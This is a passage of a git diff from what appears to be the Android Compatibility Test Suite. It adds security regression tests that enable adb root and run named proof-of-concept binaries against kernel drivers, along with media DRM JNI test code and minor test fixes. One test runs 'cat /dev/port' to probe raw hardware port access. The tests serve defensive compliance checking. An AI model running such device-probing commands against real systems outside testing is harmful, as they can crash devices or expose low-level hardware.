+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_06 extends SecurityTestCase {
+
+    /**
+     *  b/34328139
+     */
+    @SecurityTest
+    public void testPocBug_34328139() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/mdss_rotator")) {
+            AdbUtils.runPoc("Bug-34328139", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33452365
+     */
+    @SecurityTest
+    public void testPocBug_33452365() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/pcmC0D16c")) {
+            AdbUtils.runPoc("Bug-33452365", getDevice(), 60);
+	}
+    }
+
+    /**
+     *  b/34125463
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0579() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
+            AdbUtils.runPoc("CVE-2017-0579", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33751424
+     */
+    @SecurityTest
+    public void testPocCVE_2017_7369() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+          AdbUtils.runPoc("CVE-2017-7369", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
new file mode 100644
index 0000000..ad69fd8
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_07 extends SecurityTestCase {
+
+    /**
+     *  b/33863407
+     */
+    @SecurityTest
+    public void testPocBug_33863407() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/sys/kernel/debug/mdp/reg")) {
+            AdbUtils.runPoc("Bug-33863407", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/36604779
+     */
+    @SecurityTest
+    public void testPocBug_36604779() throws Exception {
+      enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/port")) {
+          AdbUtils.runCommandLine("cat /dev/port", getDevice());
+        }
+    }
+}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 7a691ec..b99a748 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -34,6 +34,8 @@
         pinnedStackTester(PIP_ACTIVITY, PIP_ACTIVITY, true, false);
     }
 
+    /**
+     * Disabled for b/35314835
     public void testAlwaysFocusablePipActivity() throws Exception {
         pinnedStackTester(ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY, true, true);
     }
@@ -42,6 +44,7 @@
         pinnedStackTester(
                 LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY, false, true);
     }
+    */
 
     private void pinnedStackTester(String startActivity, String topActivityName,
             boolean moveTopToPinnedStack, boolean isFocusable) throws Exception {
diff --git a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
index fa1ae69..77119c0 100644
--- a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
+++ b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
@@ -19,10 +19,12 @@
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 
 import java.util.HashMap;
 import java.util.Map;
+import java.util.regex.Pattern;
 
 public class CrossAppDragAndDropTests extends DeviceTestCase {
     // Constants copied from ActivityManager.StackId. If they are changed there, these must be
@@ -47,13 +49,17 @@
     private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
     private static final String TASK_ID_PREFIX = "taskId";
 
+    // Regex pattern to match adb shell am stack list output of the form:
+    // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
+    private static final String TASK_REGEX_PATTERN_STRING =
+            "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
+
     private static final int SWIPE_DURATION_MS = 500;
 
     private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
     private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
     private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
 
-
     private static final String SOURCE_ACTIVITY_NAME = "DragSource";
     private static final String TARGET_ACTIVITY_NAME = "DropTarget";
 
@@ -218,8 +224,15 @@
         CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
         mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
         final String output = outputReceiver.getOutput();
+        final StringBuilder builder = new StringBuilder();
+        builder.append("Finding task info for task: ");
+        builder.append(name);
+        builder.append("\nParsing adb shell am output: " );
+        builder.append(output);
+        CLog.i(builder.toString());
+        final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
         for (String line : output.split("\\n")) {
-            if (line.contains(name)) {
+            if (pattern.matcher(line).find()) {
                 return line;
             }
         }
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index eda78e8..47e8ae1 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -44,9 +44,11 @@
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil ctsdeviceutil compatibility-device-util ctstestserver ctstestrunner ndkaudio
+LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil ctsdeviceutil compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES += ctstestserver ctstestrunner ndkaudio
 
-LOCAL_JNI_SHARED_LIBRARIES := libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++ libndkaudioLib
+LOCAL_JNI_SHARED_LIBRARIES := libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++
+LOCAL_JNI_SHARED_LIBRARIES += libndkaudioLib libctsmediadrm_jni
 
 # do not compress VP9 video files
 LOCAL_AAPT_FLAGS := -0 .vp9
diff --git a/tests/tests/media/libmediandkjni/AMediaObjects.h b/tests/tests/media/libmediandkjni/AMediaObjects.h
new file mode 100644
index 0000000..c4d5397
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/AMediaObjects.h
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef AMEDIAOBJECTS_H_
+#define AMEDIAOBJECTS_H_
+
+#include <utils/Log.h>
+
+#include "media/NdkMediaCrypto.h"
+#include "media/NdkMediaDrm.h"
+#include "media/NdkMediaExtractor.h"
+
+namespace {
+
+// Simple class to manage deletion of AMedia objects
+class AMediaObjects {
+ public:
+    AMediaObjects();
+    virtual ~AMediaObjects();
+
+    void setCrypto(AMediaCrypto* const theCrypto) {
+        mCrypto = theCrypto;
+    }
+    void setDrm(AMediaDrm* const theDrm) {
+        mDrm = theDrm;
+    }
+    void setVideoExtractor(AMediaExtractor* const theExtractor) {
+        mVideoExtractor = theExtractor;
+    }
+    void setAudioExtractor(AMediaExtractor* const theExtractor) {
+        mAudioExtractor = theExtractor;
+    }
+
+    AMediaCrypto* getCrypto() const { return mCrypto; }
+    AMediaDrm* getDrm() const { return mDrm; }
+    AMediaExtractor* getAudioExtractor() const { return mAudioExtractor; }
+    AMediaExtractor* getVideoExtractor() const { return mVideoExtractor; }
+
+ private:
+    AMediaCrypto *mCrypto;
+    AMediaDrm* mDrm;
+    AMediaExtractor* mAudioExtractor;
+    AMediaExtractor* mVideoExtractor;
+
+    // Disallow copy and assignment
+    AMediaObjects(const AMediaObjects&);
+    void operator=(const AMediaObjects&);
+};
+
+AMediaObjects::AMediaObjects(void) : mCrypto(NULL), mDrm(NULL),
+        mAudioExtractor(NULL), mVideoExtractor(NULL) {
+}
+
+AMediaObjects::~AMediaObjects() {
+    if (mCrypto) {
+        AMediaCrypto_delete(mCrypto);
+    }
+    if (mAudioExtractor) {
+        AMediaExtractor_delete(mAudioExtractor);
+    }
+    if (mVideoExtractor) {
+        AMediaExtractor_delete(mVideoExtractor);
+    }
+    if (mDrm) {
+        AMediaDrm_release(mDrm);
+    }
+}
+
+}  // anonymous namespace
+#endif  // AMEDIAOBJECTS_H_
+
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
index 259c95e..1ccdede 100644
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ b/tests/tests/media/libmediandkjni/Android.mk
@@ -14,6 +14,9 @@
 #
 LOCAL_PATH := $(call my-dir)
 
+#------------------------------------------------------------------------------
+# Builds libctsmediacodec_jni.so
+#
 include $(CLEAR_VARS)
 
 LOCAL_MODULE    := libctsmediacodec_jni
@@ -21,20 +24,57 @@
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_SRC_FILES := \
-	native-media-jni.cpp \
-	codec-utils-jni.cpp  \
-	md5_utils.cpp
+  native-media-jni.cpp \
+  codec-utils-jni.cpp  \
+  md5_utils.cpp
 
 LOCAL_C_INCLUDES := \
-	$(JNI_H_INCLUDE) \
-	system/core/include
+  $(JNI_H_INCLUDE) \
+  system/core/include
 
 LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
 
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libmediandk
+LOCAL_SHARED_LIBRARIES := \
+  libandroid libnativehelper_compat_libc++ \
+  liblog libmediandk
 
 LOCAL_SDK_VERSION := 23
 
 LOCAL_CFLAGS := -Werror -Wall
 
 include $(BUILD_SHARED_LIBRARY)
+
+#------------------------------------------------------------------------------
+# Builds libctsmediadrm_jni.so
+#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE    := libctsmediadrm_jni
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := \
+  CtsMediaDrmJniOnLoad.cpp \
+  codec-utils-jni.cpp  \
+  md5_utils.cpp \
+  native-mediadrm-jni.cpp \
+
+LOCAL_C_INCLUDES := \
+  $(JNI_H_INCLUDE) \
+  system/core/include
+
+
+LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
+
+LOCAL_SHARED_LIBRARIES := \
+  libandroid libnativehelper_compat_libc++ \
+  liblog libmediandk libdl
+
+LOCAL_SDK_VERSION := 23
+
+LOCAL_NDK_STL_VARIANT := c++_static
+
+LOCAL_CFLAGS := -Werror -Wall
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/CtsMediaDrmJniOnLoad.cpp b/tests/tests/media/libmediandkjni/CtsMediaDrmJniOnLoad.cpp
new file mode 100644
index 0000000..24714a3
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/CtsMediaDrmJniOnLoad.cpp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_media_cts_NativeClearKeySystemTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM *vm, void */*reserved*/) {
+    JNIEnv *env = NULL;
+
+    if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+
+    if (register_android_media_cts_NativeClearKeySystemTest(env)) {
+        return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/media/libmediandkjni/md5_utils.cpp b/tests/tests/media/libmediandkjni/md5_utils.cpp
index f4f893a..8e520e1 100644
--- a/tests/tests/media/libmediandkjni/md5_utils.cpp
+++ b/tests/tests/media/libmediandkjni/md5_utils.cpp
@@ -157,7 +157,7 @@
  */
 void
 MD5Transform(UWORD32 buf[4], UWORD32 const in[16]) {
-  register UWORD32 a, b, c, d;
+  UWORD32 a, b, c, d;
 
   a = buf[0];
   b = buf[1];
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
new file mode 100644
index 0000000..b98a6af
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -0,0 +1,690 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define TAG "NativeMediaDrm"
+
+#include <utils/Log.h>
+#include <sys/types.h>
+
+#include <string>
+#include <vector>
+
+#include <assert.h>
+#include <jni.h>
+#include <JNIHelp.h>
+
+#include <android/native_window_jni.h>
+
+#include "AMediaObjects.h"
+
+#include "media/NdkMediaCodec.h"
+#include "media/NdkMediaCrypto.h"
+#include "media/NdkMediaDrm.h"
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaFormat.h"
+#include "media/NdkMediaMuxer.h"
+
+typedef std::vector<uint8_t> Uuid;
+
+struct fields_t {
+    jfieldID surface;
+    jfieldID mimeType;
+    jfieldID audioUrl;
+    jfieldID videoUrl;
+};
+
+struct PlaybackParams {
+    jobject surface;
+    jstring mimeType;
+    jstring audioUrl;
+    jstring videoUrl;
+};
+
+static fields_t gFieldIds;
+static bool gGotVendorDefinedEvent = false;
+
+static const size_t kPlayTimeSeconds = 30;
+static const size_t kUuidSize = 16;
+
+static const uint8_t kWidevineUuid[kUuidSize] = {
+    0xed, 0xef, 0x8b, 0xa9, 0x79, 0xd6, 0x4a, 0xce,
+    0xa3, 0xc8, 0x27, 0xdc, 0xd5, 0x1d, 0x21, 0xed
+};
+
+// The test content is not packaged with clearkey UUID,
+// we have to use a canned clearkey pssh for the test.
+static const uint8_t kClearkeyPssh[] = {
+    // BMFF box header (4 bytes size + 'pssh')
+    0x00, 0x00, 0x00, 0x34, 0x70, 0x73, 0x73, 0x68,
+    // full box header (version = 1 flags = 0)
+    0x01, 0x00, 0x00, 0x00,
+    // system id
+    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b,
+    // number of key ids
+    0x00, 0x00, 0x00, 0x01,
+    // key id
+    0x60, 0x06, 0x1e, 0x01, 0x7e, 0x47, 0x7e, 0x87,
+    0x7e, 0x57, 0xd0, 0x0d, 0x1e, 0xd0, 0x0d, 0x1e,
+    // size of data, must be zero
+    0x00, 0x00, 0x00, 0x00
+};
+
+static const uint8_t kKeyRequestData[] = {
+    0x7b, 0x22, 0x6b, 0x69, 0x64,
+    0x73, 0x22, 0x3a, 0x5b, 0x22,
+    0x59, 0x41, 0x59, 0x65, 0x41,
+    0x58, 0x35, 0x48, 0x66, 0x6f,
+    0x64, 0x2b, 0x56, 0x39, 0x41,
+    0x4e, 0x48, 0x74, 0x41, 0x4e,
+    0x48, 0x67, 0x22, 0x5d, 0x2c,
+    0x22, 0x74, 0x79, 0x70, 0x65,
+    0x22, 0x3a, 0x22, 0x74, 0x65,
+    0x6d, 0x70, 0x6f, 0x72, 0x61,
+    0x72, 0x79, 0x22, 0x7d,
+};
+
+static const size_t kKeyRequestSize = sizeof(kKeyRequestData);
+
+// base 64 encoded JSON response string, must not contain padding character '='
+static const char kResponse[] = "{\"keys\":[{\"kty\":\"oct\"," \
+        "\"kid\":\"YAYeAX5Hfod+V9ANHtANHg\",\"k\":" \
+        "\"GoogleTestKeyBase64ggg\"}]}";
+
+static bool isUuidSizeValid(Uuid uuid) {
+    return (uuid.size() == kUuidSize);
+}
+
+static std::vector<uint8_t> jbyteArrayToVector(
+    JNIEnv* env, jbyteArray const &byteArray) {
+    uint8_t* buffer = reinterpret_cast<uint8_t*>(
+        env->GetByteArrayElements(byteArray, /*is_copy*/NULL));
+    std::vector<uint8_t> vector;
+    for (jsize i = 0; i < env->GetArrayLength(byteArray); ++i) {
+        vector.push_back(buffer[i]);
+    }
+    return vector;
+}
+
+static Uuid jbyteArrayToUuid(JNIEnv* env, jbyteArray const &uuid) {
+    Uuid juuid;
+    juuid.resize(0);
+    if (uuid != NULL) {
+        juuid = jbyteArrayToVector(env, uuid);
+    }
+    return juuid;
+}
+
+extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_isCryptoSchemeSupportedNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
+
+    if (NULL == uuid) {
+        jniThrowException(env, "java/lang/NullPointerException", "null uuid");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (isUuidSizeValid(juuid)) {
+         return AMediaDrm_isCryptoSchemeSupported(&juuid[0], NULL);
+    } else {
+          jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                  "invalid UUID size, expected %u bytes", kUuidSize);
+    }
+    return JNI_FALSE;
+}
+
+void initPlaybackParams(JNIEnv* env, const jobject &playbackParams, PlaybackParams &params) {
+    params.surface = env->GetObjectField(
+        playbackParams, gFieldIds.surface);
+
+    params.mimeType = static_cast<jstring>(env->GetObjectField(
+        playbackParams, gFieldIds.mimeType));
+
+    params.audioUrl = static_cast<jstring>(env->GetObjectField(
+        playbackParams, gFieldIds.audioUrl));
+
+    params.videoUrl = static_cast<jstring>(env->GetObjectField(
+        playbackParams, gFieldIds.videoUrl));
+}
+
+extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_testGetPropertyStringNative(
+    JNIEnv* env, jclass clazz, jbyteArray uuid,
+    jstring name, jobject outValue) {
+
+    if (NULL == uuid || NULL == name || NULL == outValue) {
+        jniThrowException(env, "java/lang/NullPointerException",
+                "One or more null input parameters");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    AMediaObjects aMediaObjects;
+    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+    if (NULL == aMediaObjects.getDrm()) {
+        jniThrowException(env, "java/lang/RuntimeException", "null MediaDrm");
+        return JNI_FALSE;
+    }
+
+    const char *utf8_name = env->GetStringUTFChars(name, NULL);
+    const char *utf8_outValue = NULL;
+    media_status_t status = AMediaDrm_getPropertyString(aMediaObjects.getDrm(),
+            utf8_name, &utf8_outValue);
+    env->ReleaseStringUTFChars(name, utf8_name);
+
+    if (NULL != utf8_outValue) {
+        clazz = env->GetObjectClass(outValue);
+        jmethodID mId = env->GetMethodID (clazz, "append",
+                "(Ljava/lang/String;)Ljava/lang/StringBuffer;");
+        jstring outString = env->NewStringUTF(
+                static_cast<const char *>(utf8_outValue));
+        env->CallObjectMethod(outValue, mId, outString);
+    } else {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "get property string returns %d", status);
+        return JNI_FALSE;
+    }
+    return JNI_TRUE;
+}
+
+extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest__testPsshNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jstring videoUrl) {
+
+    if (NULL == uuid || NULL == videoUrl) {
+        jniThrowException(env, "java/lang/NullPointerException",
+                "null uuid or null videoUrl");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    AMediaObjects aMediaObjects;
+    aMediaObjects.setVideoExtractor(AMediaExtractor_new());
+    const char* url = env->GetStringUTFChars(videoUrl, 0);
+    if (url) {
+        media_status_t status = AMediaExtractor_setDataSource(
+            aMediaObjects.getVideoExtractor(), url);
+        env->ReleaseStringUTFChars(videoUrl, url);
+
+        if (status != AMEDIA_OK) {
+            jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                    "set video data source error=%d", status);
+            return JNI_FALSE;
+        }
+    }
+
+    PsshInfo* psshInfo = AMediaExtractor_getPsshInfo(aMediaObjects.getVideoExtractor());
+    if (psshInfo == NULL) {
+        jniThrowException(env, "java/lang/RuntimeException", "null psshInfo");
+        return JNI_FALSE;
+    }
+
+    jboolean testResult = JNI_FALSE;
+    for (size_t i = 0; i < psshInfo->numentries; i++) {
+        PsshEntry *entry = &psshInfo->entries[i];
+
+        // We do not have clearkey content that contains ClearKey UUID in the
+        // pssh box. So we have to test if it has Widevine UUID instead.
+        // TODO: Replace kWidevineUuid with uuid when test content contains
+        // ClearKey UUID.
+        if (0 == memcmp(entry->uuid, kWidevineUuid, sizeof(entry->uuid))) {
+            aMediaObjects.setCrypto(
+                AMediaCrypto_new(entry->uuid, entry->data, entry->datalen));
+            if (aMediaObjects.getCrypto()) {
+                testResult = JNI_TRUE;
+            } else {
+                ALOGE("Failed to create media crypto=%zd", i);
+                testResult = JNI_FALSE;
+            }
+            break;
+        }
+    }
+    return testResult;
+}
+
+static bool isVideo(const char* mime) {
+    return !strncmp(mime, "video/", 6) ? true : false;
+}
+
+static bool isAudio(const char* mime) {
+    return !strncmp(mime, "audio/", 6) ? true : false;
+}
+
+static void addTrack(const AMediaFormat* format,
+        const char* mime, const AMediaCrypto* crypto,
+        const ANativeWindow* window, AMediaCodec** codec) {
+
+    *codec = AMediaCodec_createDecoderByType(mime);
+    if (codec == NULL) {
+        ALOGE("cannot create codec for %s", mime);
+        return;
+    }
+
+    AMediaCodec_configure(*codec, format,
+            const_cast<ANativeWindow*>(window),
+            const_cast<AMediaCrypto*>(crypto), 0);
+}
+
+static void addTracks(const AMediaExtractor* extractor,
+        const AMediaCrypto* crypto, const ANativeWindow* window,
+        AMediaCodec** codec) {
+    size_t numTracks = AMediaExtractor_getTrackCount(
+        const_cast<AMediaExtractor*>(extractor));
+    AMediaFormat* trackFormat = NULL;
+    for (size_t i = 0; i < numTracks; ++i) {
+        trackFormat = AMediaExtractor_getTrackFormat(
+            const_cast<AMediaExtractor*>(extractor), i);
+        if (trackFormat) {
+            ALOGV("track %zd format: %s", i,
+                    AMediaFormat_toString(trackFormat));
+
+            const char* mime = "";
+            if (!AMediaFormat_getString(
+                trackFormat, AMEDIAFORMAT_KEY_MIME, &mime)) {
+                ALOGE("no mime type");
+                AMediaFormat_delete(trackFormat);
+                return;
+            } else if (isAudio(mime) || isVideo(mime)) {
+                AMediaExtractor_selectTrack(
+                    const_cast<AMediaExtractor*>(extractor), i);
+                ALOGV("track %zd codec format: %s", i,
+                        AMediaFormat_toString(trackFormat));
+
+                addTrack(trackFormat, mime, crypto, window, codec);
+                AMediaCodec_start(*codec);
+                AMediaCodec_flush(*codec);
+                AMediaExtractor_seekTo(
+                    const_cast<AMediaExtractor*>(extractor), 0,
+                            AMEDIAEXTRACTOR_SEEK_PREVIOUS_SYNC);
+            }
+            AMediaFormat_delete(trackFormat);
+        }
+    }
+}
+
+static int64_t getSystemNanoTime() {
+    timespec now;
+    clock_gettime(CLOCK_MONOTONIC, &now);
+    return now.tv_sec * 1000000000LL + now.tv_nsec;
+}
+
+static void fillDecoder(AMediaCodec* codec, AMediaExtractor* extractor,
+        int64_t* presentationTimeUs, bool* eosReached) {
+    media_status_t status = AMEDIA_OK;
+
+    ssize_t bufferIndex = AMediaCodec_dequeueInputBuffer(codec, 2000);
+    if (bufferIndex >= 0) {
+        size_t bufsize;
+        uint8_t* buf = AMediaCodec_getInputBuffer(codec, bufferIndex, &bufsize);
+
+        int sampleSize = AMediaExtractor_readSampleData(extractor, buf, bufsize);
+        if (sampleSize < 0) {
+            sampleSize = 0;
+            *eosReached = true;
+        }
+
+        *presentationTimeUs = AMediaExtractor_getSampleTime(extractor);
+
+        AMediaCodecCryptoInfo *cryptoInfo =
+            AMediaExtractor_getSampleCryptoInfo(extractor);
+        if (cryptoInfo) {
+            status = AMediaCodec_queueSecureInputBuffer(
+                codec, bufferIndex, 0, cryptoInfo,
+                *presentationTimeUs,
+                *eosReached ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
+            AMediaCodecCryptoInfo_delete(cryptoInfo);
+        } else {
+            status = AMediaCodec_queueInputBuffer(
+                codec, bufferIndex, 0, sampleSize,
+                *presentationTimeUs,
+                *eosReached ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
+        }
+        AMediaExtractor_advance(extractor);
+    }
+}
+
+static bool drainDecoder(AMediaCodec* codec, int64_t presentationTimeUs,
+    int64_t* startTimeNano) {
+
+    AMediaCodecBufferInfo info;
+    ssize_t bufferIndex  = AMediaCodec_dequeueOutputBuffer(codec, &info, 0);
+    if (bufferIndex >= 0) {
+        if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+            return true;  // eos reached
+        }
+
+        if (*startTimeNano < 0) {
+            *startTimeNano = getSystemNanoTime() - (presentationTimeUs * 1000);
+        }
+        int64_t delay = (*startTimeNano + presentationTimeUs * 1000) -
+                getSystemNanoTime();
+        if (delay > 0) {
+            usleep(delay / 1000);
+        }
+
+        AMediaCodec_releaseOutputBuffer(codec, bufferIndex, info.size != 0);
+    } else if (bufferIndex == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+        ALOGV("output buffers changed");
+    } else if (bufferIndex == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+        AMediaFormat* format = AMediaCodec_getOutputFormat(codec);
+        ALOGV("format changed to: %s", AMediaFormat_toString(format));
+        AMediaFormat_delete(format);
+    } else if (bufferIndex == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+         ALOGV("no output buffer right now");
+         usleep(20000);
+    } else {
+         ALOGV("unexpected info code: %zd", bufferIndex);
+    }
+    return false;
+}
+
+static jboolean playContent(JNIEnv* env, const AMediaObjects& aMediaObjects,
+        PlaybackParams& params, const AMediaDrmSessionId& sessionId, Uuid uuid) {
+
+    ANativeWindow *window = ANativeWindow_fromSurface(env, params.surface);
+    AMediaExtractor* audioExtractor = aMediaObjects.getAudioExtractor();
+    AMediaExtractor* videoExtractor = aMediaObjects.getVideoExtractor();
+
+    AMediaCodec* audioCodec = NULL;
+    AMediaCodec* videoCodec = NULL;
+    AMediaCrypto* crypto = NULL;
+
+    crypto = AMediaCrypto_new(&uuid[0], sessionId.ptr, sessionId.length);
+    if (crypto == NULL) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "failed to create crypto object");
+        return JNI_FALSE;
+    }
+
+    addTracks(audioExtractor, NULL, NULL, &audioCodec);
+    addTracks(videoExtractor, crypto, window, &videoCodec);
+
+    bool sawAudioInputEos = false;
+    bool sawAudioOutputEos = false;
+    bool sawVideoInputEos = false;
+    bool sawVideoOutputEos = false;
+    int64_t videoPresentationTimeUs = 0;
+    int64_t videoStartTimeNano = -1;
+    struct timespec timeSpec;
+    clock_gettime(CLOCK_MONOTONIC, &timeSpec);
+    time_t startTimeSec = timeSpec.tv_sec;
+
+    while (!sawAudioOutputEos && !sawVideoOutputEos) {
+        if (!sawVideoInputEos) {
